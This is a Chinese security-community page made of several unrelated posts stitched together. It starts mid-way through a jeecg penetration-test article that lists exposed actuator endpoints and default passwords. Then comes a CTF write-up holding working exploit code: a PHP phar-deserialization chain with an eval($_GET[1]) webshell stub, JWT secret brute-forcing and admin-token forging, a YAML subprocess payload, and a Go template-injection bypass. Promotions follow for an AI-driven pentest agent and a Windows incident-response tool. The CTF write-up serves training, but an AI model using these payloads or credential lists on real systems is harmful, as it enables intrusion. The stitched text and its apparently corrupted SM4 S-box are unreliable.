Content-Length: 96

{
"roleId":"xxxxxxxxxxx",
"userIdList":[
"xxxxxxxxxxxxxxxx"
]

}


这样就成功创建了这个系统的admin管理员的账户了,后面的思考就是直接使用创建的账户密码,去尝试爆破登陆其他系统

六、其他jeecg小技巧

下面再给大家总结下jeecg的其他打法小技巧

一、常见的接口敏感信息泄露:

/v2/api-docs
/swagger-ui.html
/env

//获取参数信息
/actuator
/mappings
/metrics
/beans
/configprops
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops
/actuator/httptrace

二、常见jeecg框架接口关键字:

像看到下面的几个关键字,首先需要想到使用jeecg去打,因为很多现在直接把jeecg关键字给魔改了

jeecg/

api/sys/

sys/user

三、jeecg的几个常用弱口令:

可以使用下面的弱口令去尝试爆破下登陆接口

admin:123456

jeecg:123456

0x7 总结

然后还有很多其他的漏洞,这次文章就不一一给师傅们分享了,留着下次有时候给师傅们分享,这次写这篇文章由于之前的渗透测试项目漏洞都修复 了,我才写的这篇文章,所以实属不易,为了给师傅们演示的那么细致,特意去网上现找了一些漏洞实操截图给师傅们,因为之前的漏洞报告没有写的那么详细,这里怕新手师傅看不懂。

这次渗透测试总共提交了四五十个漏洞报告,其中包括很多框架系统的默认弱口令,这个确实让我蛮意外的,还有一些网上的nday,这里面有些老系统也存在,因为测试的资产比较多,所以相对来讲出洞率较高。

最后,希望看完这篇文章的你,也可以挖到心仪的漏洞!

前言

本来早都写好了,官方WP提交截止时间是昨晚九点半,懒得等了,今早发吧,整体题目还是比较有意思的。

Ez_readfile

php反序列化利用phar协议绕过waf写入webshell

析构函数中根据 $mode 值做不同操作:

  • 'w': 把 $_POST[0] 写入一个随机 .phar 文件(可能用于 PHAR 反序列化)。
  • 'r': include($_POST[0]) —— 文件包含漏洞

构造利用链

需要绕过正则,常用协议无法使用,这里使用glob协议

Nimbus` 被反序列化 → 析构时调用 `$this->handle()`
 → `$a->handle` 是 `Nimbus` 实例 → 调用 `Nimbus::__invoke()

根据利用连构造EXP如下

<?php
class Coral { public $pivot; }
class Nimbus { public $handle; public $ctor; }
class Zephyr { public $target; public $payload; }

@unlink("phar.phar");
$a = new Nimbus();
$a->handle = new Nimbus();
$a->handle->handle = new Zephyr();
$a->handle->handle->target = new Coral();
$a->handle->handle->target->pivot = new Nimbus();
$a->handle->handle->target->pivot->ctor = "DirectoryIterator";
$a->handle->handle->payload = "glob:///*fl*";
echo serialize($a);
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php eval(\$_GET[1]); phpinfo(); __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

使用gz压缩绕过WAF

D:\phpstudy_pro\WWW>python 1.py
%1F%8B%08%00%1Em%BEh%02%FF%B3%B1/%C8%28PH-K%CC%D1P%89ww%0D%896%8C%D5%B4V%00%8Ae%E6%A5%E5k%00%99%F1%F1%1E%8E%3E%21%F1%CE%FE%BE%01%9E%3E%AEA%20%21%7B%3B%5E.%1DF%06%06%20b%10d%80%D0%0C%0C%DF%80%D8%DF%CA%CCJ%C9/37%A9%B4X%C9%CA%C8%AA%BA%18%C4%CFH%CCK%C9IU%B2%26%2C%19%95Z%90QY%84%90%2CI%2CJO-%01I%9AZ%299%E7%17%25%E6%28Y%19%82%E4%80%DC%82%CC%B2%FC%12%02%86%FAY%17%5B%99X%29%25%97%E4%17%29%01%99%86%E6VJ.%99E%A9%20~%A5gIjQ%22X%A2%B6%B6%D8%0A%28S%90X%99%93%9F%98%02Vhd%A5%94%9E%93%9Fd%A5%AF%AF%AF%95%96%A3%05T%83d%90%1F%3A%8F%03%E8%F3%92%D4%E2%12%BD%92%8A%12%16%20%5B4w_%06%88%E6%A9%AB%BF%B1%0D%128%60%F9%03%ADO%96%AB%CChk%BDz3%3F%5D%ADrJ%FE%91%DE%2B%C6L%409w%27_%27%00%3C%AA%2BO%88%01%00%00

POST上传文件,出发phar反序列化

读取文件

尝试写入webshell,进行命令执行,

可以查看当前目录,发现存在backup的定时文件,创建软连接到backup目录下读取flag文件。

EZ_python

考察点:JWT伪造爆破

​ yaml文件正则过waf文件上传进行命令执行

任意伪造jwt会报错密钥前缀,构造py爆破密钥

# brute_jwt.py
import jwt
import string
import itertools

# 你的 JWT
jwt_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E"

# 密钥前缀(直接写 %)
secret_prefix = "@o70xO$0%#qR9#"

# 字符集
charset = string.ascii_letters + string.digits  # a-z, A-Z, 0-9

print("🚀 开始爆破密钥...")

for suffix in itertools.product(charset, repeat=2):
    secret = secret_prefix + ''.join(suffix)
    try:
        # 尝试解码
        decoded = jwt.decode(jwt_token, secret, algorithms=['HS256'])
        print(f"\n✅ 成功!密钥为:{secret}")
        print(f"Payload: {decoded}")
        break
    except jwt.InvalidTokenError:
        continue
else:
    print("❌ 未找到密钥")

获取到密钥构造admin权限的token进行文件上传

# sign_admin.py
import jwt

# 已知信息
secret = "@o70xO$0%#qR9#m0"  # 原始密钥(直接写 %)
old_jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E"

# 新的 payload
new_payload = {
    "username": "admin",
    "role": "admin"
}

# 使用 HS256 算法重新签名
new_token = jwt.encode(new_payload, secret, algorithm='HS256')

print("✅ 成功生成 admin JWT:")
print(new_token)

获取到正确的token上传

文件上传的时候报错

只有内容为python的内容才能直接运行,回显为run,猜测后端代码使用method=python,前端依旧可以上传yaml文件,构造脚本常看回显,先使用ls -l查看当前路径下的文件,在读取f111ag

# send_yaml.py

import requests

url = "http://web-d4c6da270e.challenge.xctf.org.cn/sandbox"
headers = {
    "Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.-Ws9e4GwaL0hesqjmSuOKNmyximBStder-7VnXK0w70"
}

# 上传 YAML 文件

files = {
    'codefile': ('exploit.yaml', '''
run: !!python/object/apply:subprocess.getoutput

  - cat /f1111ag*
    ''', 'text/yaml'),
    'mode': (None, 'yaml')  # 注意:mode 可能是 'yaml' 或 'yml'
    }

r = requests.post(url, files=files, headers=headers)
print("📡 状态码:", r.status_code)
print("📜 响应内容:")
print(r.text)

SilentMiner

攻击者IP auth.log下攻击者进行ssh爆破

192.168.145.131

攻击者共进行多少次ssh口令爆破失败?

实际上搜索出的是257次,实际上答案是258,我说咋一直不对,最后随手改的竟然提交对了,这个应该是答案错了

后门文件路径的绝对路径是什么?

sshd文件被修改并且重启了ssh服务

攻击者用户分发恶意文件的域名是什么?(注意系统时区)

/bar/log/dnsmasq.log中的dns域名进行检索,最终确定为

挖矿病毒所属的家族是什么?

通过恢复恢复tmp目录下文件进行解密找到加密的病毒家族kinsing

CheckWebshell

流量分析比较简单,语法搜索字符串找到flag.txt

返回包是内容,发现flag为sm4的国密算法求解得到flag

<?php
class SM4 {
    const ENCRYPT = 1;
    private $sk; 
    private static $FK = [0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC];
    private static $CK = [
        0x00070E15, 0x1C232A31, 0x383F464D, 0x545B6269,
        0x70777E85, 0x8C939AA1, 0xA8AFB6BD, 0xC4CBD2D9,
        0xE0E7EEF5, 0xFC030A11, 0x181F262D, 0x343B4249,
        0x50575E65, 0x6C737A81, 0x888F969D, 0xA4ABB2B9,
        0xC0C7CED5, 0xDCE3EAF1, 0xF8FF060D, 0x141B2229,
        0x30373E45, 0x4C535A61, 0x686F767D, 0x848B9299,
        0xA0A7AEB5, 0xBCC3CAD1, 0xD8DFE6ED, 0xF4FB0209,
        0x10171E25, 0x2C333A41, 0x484F565D, 0x646B7279
    ];
    private static $SboxTable = [
        0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05,
        0x2B, 0x67, 0x9A, 0x76, 0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99,
        0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62,
        0xE4, 0xB3, 0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 0x75, 0x8F, 0x3F, 0xA6,
        0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73, 0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8,
        0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35,
        0x1E, 0x24, 0x0E, 0x5E, 0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x0D, 0x2D, 0xEC,
        0x84, 0x9B, 0x1E, 0x87, 0xE0, 0x3E, 0xB5, 0x66, 0x48, 0x02, 0x6C, 0xBB, 0xBB, 0x32, 0x83, 0x27,
        0x9E, 0x01, 0x8D, 0x53, 0x9B, 0x64, 0x7B, 0x6B, 0x6A, 0x6C, 0xEC, 0xBB, 0xC4, 0x94, 0x3B, 0x0C,
        0x76, 0xD2, 0x09, 0xAA, 0x16, 0x15, 0x3D, 0x2D, 0x0A, 0xFD, 0xE4, 0xB7, 0x37, 0x63, 0x28, 0xDD,
        0x7C, 0xEA, 0x97, 0x8C, 0x6D, 0xC7, 0xF2, 0x3E, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7,
        0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x36, 0x24, 0x07, 0x82, 0xFA, 0x54, 0x5B, 0x40,
        0x8F, 0xED, 0x1F, 0xDA, 0x93, 0x80, 0xF9, 0x61, 0x1C, 0x70, 0xC3, 0x85, 0x95, 0xA9, 0x79, 0x08,
        0x46, 0x29, 0x02, 0x3B, 0x4D, 0x83, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x1A, 0x47, 0x5C, 0x0D, 0xEA,
        0x9E, 0xCB, 0x55, 0x20, 0x15, 0x8A, 0x9A, 0xCB, 0x43, 0x0C, 0xF0, 0x0B, 0x40, 0x58, 0x00, 0x8F,
        0xEB, 0xBE, 0x3D, 0xC2, 0x9F, 0x51, 0xFA, 0x13, 0x3B, 0x0D, 0x90, 0x5B, 0x6E, 0x45, 0x59, 0x33
    ];

    public function __construct($key) {
        $this->setKey($key);
    }
    public function setKey($key) {
        if (strlen($key) != 16) {
            throw new Exception("SM4");
        }
        $key = $this->strToIntArray($key);
        $k = array_merge($key, [0, 0, 0, 0]);
        for ($i = 0; $i < 4; $i++) {
            $k[$i] ^= self::$FK[$i];
        }
        for ($i = 0; $i < 32; $i++) {
            $k[$i + 4] = $k[$i] ^ $this->CKF($k[$i + 1], $k[$i + 2], $k[$i + 3], self::$CK[$i]);
            $this->sk[$i] = $k[$i + 4];
        }
    }
    public function encrypt($plaintext) {
        $len = strlen($plaintext);
        $padding = 16 - ($len % 16);
        $plaintext .= str_repeat(chr($padding), $padding); 
        $ciphertext = '';
        for ($i = 0; $i < strlen($plaintext); $i += 16) {
            $block = substr($plaintext, $i, 16);
            $ciphertext .= $this->cryptBlock($block, self::ENCRYPT);
        }
        return $ciphertext;
    }
    private function cryptBlock($block, $mode) {
        $x = $this->strToIntArray($block);

        for ($i = 0; $i < 32; $i++) {
            $roundKey = $this->sk[$i];
            $x[4] = $x[0] ^ $this->F($x[1], $x[2], $x[3], $roundKey);
            array_shift($x);
        }
        $x = array_reverse($x);
        return $this->intArrayToStr($x);
    }
    private function F($x1, $x2, $x3, $rk) {
        return $this->T($x1 ^ $x2 ^ $x3 ^ $rk);
    }
    private function CKF($a, $b, $c, $ck) {
        return $a ^ $this->T($b ^ $c ^ $ck);
    }
    private function T($x) {
        return $this->L($this->S($x));
    }
    private function S($x) {
        $result = 0;
        for ($i = 0; $i < 4; $i++) {
            $byte = ($x >> (24 - $i * 8)) & 0xFF;
            $result |= self::$SboxTable[$byte] << (24 - $i * 8);
        }
        return $result;
    }
    private function L($x) {
        return $x ^ $this->rotl($x, 2) ^ $this->rotl($x, 10) ^ $this->rotl($x, 18) ^ $this->rotl($x, 24);
    }
    private function rotl($x, $n) {
        return (($x << $n) & 0xFFFFFFFF) | (($x >> (32 - $n)) & 0xFFFFFFFF);
    }
    private function strToIntArray($str) {
        $result = [];
        for ($i = 0; $i < 4; $i++) {
            $offset = $i * 4;
            $result[$i] =
                (ord($str[$offset]) << 24) |
                (ord($str[$offset + 1]) << 16) |
                (ord($str[$offset + 2]) << 8) |
                ord($str[$offset + 3]);
        }
        return $result;
    }
    private function intArrayToStr($array) {
        $str = '';
        foreach ($array as $int) {
            $str .= chr(($int >> 24) & 0xFF);
            $str .= chr(($int >> 16) & 0xFF);
            $str .= chr(($int >> 8) & 0xFF);
            $str .= chr($int & 0xFF);
        }
        return $str;
    }
}
try {
    $key = "a8a58b78f41eeb6a";
    $sm4 = new SM4($key);
    $plaintext = "flag";
    $ciphertext = $sm4->encrypt($plaintext);
    echo  base64_encode($ciphertext) ; //VCWBIdzfjm45EmYFWcqXX0VpQeZPeI6Qqyjsv31yuPTDC80lhFlaJY2R3TintdQu
} catch (Exception $e) {
    echo $e->getMessage() ;
}
?>

hardtest

Ai可以直接出,入口

关键函数是sub_13E1 以及常量 byte_2120

以及函数 sub_12A9、sub_1313、 sub_12DE 和常量 byte_2020

这些关键的给 AI 就直接出结果了

Minigame

考点: 微信小程序解包,map 文件解包,wasm 还原

是一个微信小程序用 wxapkg 解包 ,然后把解包得到的 chunk_0.appservice.js.map 再次解包

可以发现核心在 utils/validator.js 中 ,在 util 目录发现了 validator.wasm ,然后通过工具 wasm-decompile

export memory a(initial: 258, max: 258); 
data d_a(offset: 1024) = 
 "\ff\f5\f8\fe\e2\ff\f8\fc\a9\fb\ab\ae\fa\ad\ac\a8\fa\ae\ab\a1\a1\af\ae\f8" 
 "\ac\af\ae\fc\a1\fa\a8\fb\fb\ad\fc\ac\aa\e4"; 
export function c(a:ubyte_ptr):int { // func0 
 var e:int; 
 var b:int_ptr; 
 var d:int; 
 var c:ubyte_ptr; 
 if ({ 
 d = a; 
 if (eqz(d & 3)) goto B_c; 
 0; 
 if (eqz(a[0])) goto B_a; 
 loop L_d { 
 a = a + 1; 
 if (eqz(a & 3)) goto B_c; 
 if (a[0]) continue L_d; 
 } 
 goto B_b; 
 label B_c: 
 loop L_e { 
 b = a; 
 a = b + 4; 
 if ( 
 ((16843008 - (e = b[0]) | e) & -2139062144) == -2139062144) continue L_e; 
 } 
 loop L_f { 
 a = b; 
 b = a + 1; 
 if (a[0]) continue L_f; 
 } 
 label B_b: 
 a - d; 
 label B_a: 
 } != 
 38) { 
 return 0 
 } 
 loop L_h { 
 a = c[1024] ^ (c + d)[0]:byte; 
 b = a == 153; 
 if (a != 153) goto B_i; 
 c = c + 1; 
 if (c != 38) continue L_h; 
 label B_i: 
 } 
 return b; 
} 
export function b() { // func1 
}

把这两个代码给AI就可以直接得到 flag

Newtrick

考点:对称加密算法和离散对数问题

由于有根据源码直接推出解密脚本

from hashlib import md5 
from Crypto.Cipher import AES 
p = 
115792089237316195423570985008687907853269984665640564039457584007913129639
747 
F = GF(p) 
Q = (123456789, 987654321, 135792468, 864297531) 
N_Q = F(sum(x * x for x in Q)) 
R = ( 
 
535805042719399545796962826381600584293083019277531395431476058825743363271
45, 
799913182452098376229457194675627969511376052122949799764791997934539620908
91, 
531268698891810405870372104622761160960325946775601453062691481560347571601
28, 
973680242303063998595227832922465096998302542946496684346049712134964678571
55 
) 
N_R = F(sum(x * x for x in R)) 
try: 
 secret = discrete_log(N_R, N_Q, bounds=(0, 2^50)) 
 print("[+] Secret found:", secret) 
except Exception as e: 
 print("[-] discrete_log failed:", e) 
 
 secret = 895942422329 
key = md5(str(secret).encode()).digest() 
cipher = AES.new(key, AES.MODE_ECB) 
try: 
 flag = cipher.decrypt(encrypted_flag) 
 print("[+] Flag:", flag) 
except Exception as e: 
 print("[-] failed:", _e)

SSTi模板注入,golang的SSTI,执行

{{.}}

回显

map[B64Decode:0x6ee380 exec:0x6ee120]

直接执行

{{exec "id"}}

能够执行id,但是其余的其它命令基本都无法执行,猜测后端代码WAF拦截直接输出原字符串,尝试绕过WAF

{{B64Decode "aGVsbG8="}}

可以成功回显hello,直接使用B64Decode绕过,构造payload读取flag

{{B64Decode "Y2F0IC9mbGFn" | exec}}

CyberStrikeAI:让安全测试像对话一样简单——智能渗透测试的技术实践

先附上开源工具链接:

https://github.com/Ed1s0nZ/CyberStrikeAI

从工具堆砌到智能调度:渗透测试的演进之路

作为安全工程师,我们都经历过这样的场景:面对一个新的目标系统,我们需要在数十个安全工具之间不断切换,记忆各种复杂的命令行参数,手动分析海量的扫描结果,然后在不同的工具输出中寻找关联性。这种工作方式不仅效率低下,更严重的是,我们往往在工具的使用上花费了太多精力,反而减少了对安全威胁本质的思考时间

技术人的解决方案:CyberStrikeAI的设计理念

CyberStrikeAI不是要取代安全工程师,而是要成为工程师的智能助手。基于一个朴素但强大的想法:用技术手段解决技术问题,让AI处理重复性工作,让人专注于创造性分析

效果

对话效果


MCP调用

调用链

核心架构:Golang + MCP协议的工程化实现

// 核心架构简示
Agent Loop (AI决策引擎)
    ↓
MCP Server (工具调度中心)  
    ↓
Security Executor (命令执行层)
    ↓
98+ Security Tools (工具生态)

技术栈选择背后的思考

  • Golang:并发性能优异,跨平台编译方便,部署简单
  • MCP协议:标准化工具调用,确保扩展性和兼容性
  • SQLite:轻量级数据存储,适合单机部署场景

实际工作流程对比

传统方式

# 1. 端口扫描
nmap -sS -sV -O 192.168.1.0/24

# 2. Web服务识别
httpx -l targets.txt -title -status-code

# 3. 漏洞扫描  
nuclei -l targets.txt -t /nuclei-templates/

# 4. 手动分析结果,决定下一步...

CyberStrikeAI方式

"对192.168.1.0/24网段进行全面的安全评估,重点关注Web服务漏洞"

系统自动完成:

  1. 识别网络范围,调用nmap进行主机发现
  2. 对发现的Web服务调用httpx进行指纹识别
  3. 基于服务指纹选择相应的漏洞检测模板
  4. 自动分析结果,对可疑目标进行深度扫描
  5. 生成结构化报告,包括漏洞详情和修复建议

面向安全工程师的技术特性

工具集成:不重复造轮子

我集成了98+个经过社区验证的安全工具,包括:

  • 信息收集:nmap, subfinder, amass, theharvester
  • 漏洞扫描:nuclei, sqlmap, xsser, dalfox
  • Web安全:dirb, gobuster, nikto, wafw00f
  • 专项工具:wpscan, jexboss, ysoserial

每个工具都通过YAML配置文件进行标准化封装:

name: "nmap"
command: "nmap"
args: ["-sT", "-sV", "-sC"]
description: "网络扫描工具,用于发现网络主机、开放端口和服务"

parameters:
  - name: "target"
    type: "string"
    description: "目标IP地址或域名"
    required: true

智能决策:AI作为调度器

AI在系统中的角色不是替代工具,而是智能调度器和结果分析器

// AI决策流程
1. 理解用户自然语言请求
2. 分析目标特征和测试需求  
3. 选择最适合的工具组合
4. 动态调整参数优化扫描效果
5. 解析工具输出,提取关键信息
6. 基于发现决定后续测试路径

实时监控:掌握测试全过程

系统提供完整的执行监控:

# 查看工具执行状态
GET /api/monitor

# 实时查看漏洞统计
{
  "total": 23,
  "severityCount": {
    "critical": 2,
    "high": 5, 
    "medium": 10,
    "low": 6
  }
}

实际应用场景分析

场景一:红队渗透测试

需求:快速对目标企业进行外围渗透测试
传统方式:手动信息收集 → 工具链执行 → 结果整理 (耗时:4-6小时)
CyberStrikeAI:单次对话描述测试目标 → 自动执行完整流程 (耗时:30-60分钟)

场景二:漏洞复现与验证

需求:批量验证SRC提交的漏洞
传统方式:逐个手动测试,重复性工作量大
CyberStrikeAI:批量导入目标 → 自动匹配检测方案 → 生成验证报告

场景三:安全巡检

需求:定期对资产进行安全巡检
传统方式:编写脚本,定时执行,人工分析
CyberStrikeAI:配置巡检策略 → 自动执行 → 差异对比 → 告警通知

扩展性与二次开发

自定义工具集成

通过标准的YAML配置即可集成新工具:

name: "custom-scanner"
command: "python3"
args: ["/tools/myscanner.py"]
parameters:
  - name: "target"
    type: "string"
    required: true

API集成现有流程

系统提供完整的REST API,可轻松集成到现有安全体系中:

# 集成到自动化漏洞管理平台
def trigger_scan(target, scan_type):
    response = requests.post(
        'http://cyberstrike-ai:8080/api/agent-loop',
        json={'message': f'{scan_type}扫描 {target}'}
    )
    return process_results(response.json())

技术人的实践建议

部署方案

  • 开发测试:本地Docker部署,快速验证
  • 团队使用:服务器部署,共享使用
  • 集成环境:API方式集成到现有安全平台

使用技巧

  1. 渐进式测试:从基础扫描开始,逐步深入
  2. 结果验证:AI发现的关键漏洞建议人工复核
  3. 工具补充:根据实际需求扩展工具库

结语:技术赋能,专注价值

CyberStrikeAI的本质是通过技术手段提升安全工程师的工作效率,让我们从繁琐的工具操作中解放出来,更加专注于威胁分析、漏洞研究和防护策略等更有价值的工作。

在网络安全人才紧缺的今天,提升个体工程师的效率就是提升整个行业的安全水位。我相信,好的工具应该像得力的助手一样,默默处理繁琐工作,让专家专注于专业判断。

项目地址https://github.com/Ed1s0nZ/CyberStrikeAI

让技术回归本质,让安全测试变得更加高效——这是CyberStrikeAI的技术追求,也是我对安全社区的诚意贡献。

前言

将近三周的时间开发,目标是针对小白都能上手的Windows应急工具,完全基于红队人员攻击思路以及蓝队应急流程开发的Windows应急响应工具,目前V2.0的版本基本上已经ok了没有问题,下面是工具介绍,目前网上基本上没有比这个更好用且更完善的工具,计划是在V3.0计划兼容Winserver2008以下版本,另外加入内存马查杀机制。因为初衷就是想轻量,如果工具过大就违背了这个工具的初衷。

工具授权

目前工具设置需要授权码,计划是三月一次授权。

Cr7crwBXfh2AHVMh/RmH7w==

项目地址

系统支持

  • Windows 10/11 ✅
  • Windows Server 2012/2016/2019/2022 ✅
  • Windows Server 2008 R2 ✅
  • Windows Server 2008 非 R2 ⚠️ 仅支持 Get-EventLog,需升级 PowerShell

工具核心日志处理

// 后门用户迁移4732时间id日志提取
func FetchAndStoreBackdoorUsers(db *sql.DB, startTime, endTime string) error {
	// 动态构建 PowerShell 命令,使用传入的开始和结束时间
	psCmd := fmt.Sprintf(`[Console]::OutputEncoding = [System.Text.Encoding]::UTF8;
$startTime = '%s';
$endTime = '%s';
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4732; StartTime=$startTime; EndTime=$endTime} -MaxEvents 200 |
ForEach-Object {
    $xml = [xml]$_.ToXml()

    $subjectSid = $xml.Event.EventData.Data | Where-Object { $_.Name -eq "SubjectUserSid" } | Select-Object -ExpandProperty '#text'
    $memberSid = $xml.Event.EventData.Data | Where-Object { $_.Name -eq "MemberSid" } | Select-Object -ExpandProperty '#text'
    $groupSid = $xml.Event.EventData.Data | Where-Object { $_.Name -eq "TargetSid" } | Select-Object -ExpandProperty '#text'

    function Get-NameFromSid($sid) {
        try {
            return (New-Object System.Security.Principal.SecurityIdentifier($sid)).Translate([System.Security.Principal.NTAccount]).Value
        } catch {
            return $sid
        }
    }

    $subjectName = Get-NameFromSid $subjectSid
    $memberName = Get-NameFromSid $memberSid
    $groupName = Get-NameFromSid $groupSid

    "$($_.TimeCreated)###$($_.Id)###$subjectName###$memberName###$groupName"
}`, startTime, endTime)

	// 调用 runPowerShellCommand,它会返回一个包含输出行的切片和错误信息
	lines, err := runPowerShellCommand(psCmd)

	// --- 错误处理部分 ---
	// 如果 PowerShell 命令执行失败
	if err != nil {
		// 检查错误信息是否包含“No events were found”
		if strings.Contains(err.Error(), "No events were found") {
			// 如果是这个特定错误,返回自定义的友好错误信息
			return fmt.Errorf("无用户组迁移相关事件id4732")
		}
		// 如果是其他错误,则返回原始错误
		return fmt.Errorf("执行PowerShell命令失败: %w", err)
	}

	// 如果没有错误,但返回的行切片是空的,也视为没有找到事件
	if len(lines) == 0 {
		return fmt.Errorf("无用户组迁移相关事件id4732")
	}
	// --- 错误处理部分结束 ---

	tx, err := db.Begin()
	if err != nil {
		return err
	}
	defer func() {
		if err != nil {
			tx.Rollback()
		}
	}()

	// 清理旧数据
	_, err = tx.Exec(`DELETE FROM backdoor_users`)
	if err != nil {
		return err
	}

	stmt, err := tx.Prepare(`INSERT INTO backdoor_users (time_created, event_id, subject_name, member_name, group_name) VALUES (?, ?, ?, ?, ?)`)
	if err != nil {
		return err
	}
	defer stmt.Close()

	for _, line := range lines {
		if len(strings.TrimSpace(line)) == 0 {
			continue
		}
		parts := strings.SplitN(line, "###", 5)
		if len(parts) < 5 {
			continue
		}

		_, err = stmt.Exec(parts[0], parseInt(parts[1]), parts[2], parts[3], parts[4])
		if err != nil {
			return fmt.Errorf("插入后门用户日志失败: %w", err)
		}
	}

	return tx.Commit()
}

基本上所有的日志模块的处理都是基于powershell来实现的,所以在winserver 2008及以下的版本不安装工具是无法使用的

日志检索效率以及优势

因为该工具是日志文件数据提取保存,会从db文件中读取已经保存的部分数据,在检索速度上效果还是可以的,最大的优势是直接根据事件详情提取需要的字段,避免从Windows自带的检索功能中逐条查看,效率大大提高。

主机信息模块

  • 获取主机信息和网卡信息
  • 获取网络连接状态
  • 网络外联IP定位,目前调用的是公网的ip.net的接口

日志分析模块

  • 提取 Windows 应用日志(Application Log)
  • 提取 Windows 安全日志(Security Log)
  • 支持查看登录成功(4624)、登录失败(4625)、防火墙日志、用户组迁移、用户创建删除等事件
  • 日志保存到 log.db(SQLite 数据库)
  • UI 分页展示、点击查看完整内容
  • 支持模糊查询快速定位IP和用户
  • 根据数据库内容利用AI依据各个表的时间线进行安全分析(建议使用AI分析+人工确认)
  • 一键快速分析功能,可以直接根据数据库生成事件摘要


目前版本为V2.0,因为在实战中1.0的出现部分bug,已经在2,0版本中修复了,防火墙日志图片仅供参考

任务调度

  • 提取定时任务详情,实时刷新

  • 支持任务筛选模糊查询

网站导航模块

  • 云沙箱、IP反查、威胁情报、空间测绘、网站备案、常见编码解码

目前支持一键跳转,本来是计划做一个聚合类的导航栏,奈何go语言实现太麻烦,略微有点儿鸡肋性价比低就实现的跳转。

DeepseekChatAI模块

  • 支持 Deepseek API 调用
  • 上下文聊天、会话创建、清空、删除

在风险主机出网的条件下是支持使用ChatAI模块的,直接在Deepseek购买api量即可,总的来说完全够用。

IP情报查询模块

  • 调用 VirtualTools API 查询IP
  • 请求率: 每分钟4次,每日500次,每月15.5K次
  • 红色标记已打标签IP

目前代码位置固定仅支持每分钟查询4个ip。

截图模块

  • 点击“截图”按钮即可截取全屏
  • 自动保存到当前目录下的 Screenshots 文件夹
  • 支持多显示器同时截图
  • 弹窗提示保存的截图数量和保存路径

使用方法

  1. 启动工具后选择日志类型
  2. 点击按钮执行提取,日志保存到本地数据库
  3. 分页浏览日志,点击查看详情
  4. 可通过筛选或时间选择缩小范围

注意事项

  • 必须以管理员权限运行
  • 默认拉取最近7天日志,可自定义
  • 首次运行会自动创建 log.db,config.json

工具使用效果

目前在本机三层靶场测试效果还可以,基本上受控主机上测试效果还是可以的,基本上可以覆盖溯源攻击路径,不过该工具还是基于windows日志来实现的,前提是日志审核策略需要开启,目前基本上一般业务系统有做过等保和加固的常见的日志审核策略是满足需求的。并且AI的一键分析是基本上能够满足定位分析攻击路径的。

火线Zone是由火线安全平台打造的安全技术专家聚集和交流的社区,旨在推动数智时代的安全生态。

通过火线Zone内容社区、火线技术沙龙等形式,为技术专家提供最前沿的技术分享和交流。目前,火线Zone社区成员已超过20000人的规模,其中不乏来自腾讯、华为、Gitlab、绿盟、去哪儿等知名企业的CTO、CISO、安全VP、安全技术专家等,通过社群和活动讨论交流安全攻防、黑客溯源、企业安全管理、安全运营、软件应用安全、云计算安全等方向技术话题。

截止目前,火线Zone累计举办公开的技术交流活动27场(点击查看)、技术内容超过2000篇、10余个城市举办线下交流活动,全方位促进社区成员与企业之间的学习、交流与合作,为安全从业者提供全新思路,共同探讨行业未来发展之路。

在这里,我们重视每一位成员的声音!火线Zone现在诚挚邀请您加入我们的数智安全社区,分享自己经验,和大咖共探数智安全未来。

投稿须知

欢迎您向火线Zone投稿,分享您的知识和经验。为了确保您的稿件能够顺利通过审核并发表,请您仔细阅读以下投稿指南:
投稿文章内容方向包括并不仅限于以下方向:

  1. 应用安全:当年最新的漏洞分析、安全预警及最新的测试技巧,并具备广泛影响性。
  2. APP安全:针对APP、小程序的实战对抗、逆向分析、隐私合规等实战评估及测试方法论内容。
  3. AIOT安全:针对可穿戴设备、安防设备、智能家居、汽车、工业设备等硬件设备的逆向分析、漏洞挖掘的实战评估和测试方法论内容
  4. 黑客事件:针对DDOS、勒索病毒、APT攻击等实战黑客攻击的完整事件溯源分析以及威胁分析的方法论。
  5. 红队攻防:针对中大型企业的真实攻防案例,具备防御机制绕过、内网横向、公有云横向等环节内容
  6. 安全运营:针对基础安全、开发安全、办公网安全、安全托管运营等安全运营方向的实战落地内容
  7. 其他:前沿领域安全研究,如大模型安全、AI应用安全等

希望你的文章质量满足以下要求:

  1. 提供深入的分析和独到见解,揭示未公开的新内容。
  2. 全面总结某一领域知识,可作为参考手册。
  3. 确保内容已授权且完全脱敏,遵守法律法规,不涉及非法安全测试。
  4. 文章篇幅需要符合深度分析的篇幅要求,具体篇幅长度视内容类型审核

审核流程说明:

